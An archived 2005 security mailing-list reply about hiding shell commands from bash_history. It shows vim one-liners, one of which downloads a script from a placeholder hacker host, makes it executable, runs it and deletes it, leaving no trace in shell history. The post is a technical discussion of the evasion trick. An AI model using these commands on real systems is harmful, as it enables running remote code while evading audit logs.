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Re: bash_history
From: Igor Plisco <plisco () ashmanov com>
Date: Thu, 14 Apr 2005 18:49:40 +0400
Ones upon a time Alejandro Flores shaped electrons to tell:There are many other ways to hide shell commands. Consider following simple vim examples:
$ vim :! some_bad_command or such: $ vim <some typing> :w bad.sh :!chmod +x % :r !./% :! rm % or even such: $ vim :e http://hacker.org/bad_script.sh :w bad.sh :!chmod +x % :r !./% :! rm % Igor Plisco --------------------------------------------------------------------------- Earn your MS in Information Security ONLINEOrganizations worldwide are in need of highly qualified information security professionals. Norwich University is fulfilling this demand with its MS in Information Security offered online. Recognized by the NSA as an academically excellent program, NU offers you the opportunity to earn your degree without disrupting your home or work life.
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- bash_history Alejandro Flores (Apr 08)
- Re: bash_history Michael Gale (Apr 09)
- Re: bash_history l0rd4gu1 (Apr 09)
- Re: bash_history tmpgl (Apr 11)
- Re: bash_history John R. Morris (Apr 09)
- Re: bash_history Johnny Mast (Apr 09)
- RE: bash_history Alexandre Skyrme (Apr 11)
- RE: bash_history Nuno Costa (Apr 11)
- RE: bash_history Alexander Klimov (Apr 12)
- RE: bash_history Nuno Costa (Apr 11)
- Re: bash_history Igor Plisco (Apr 14)
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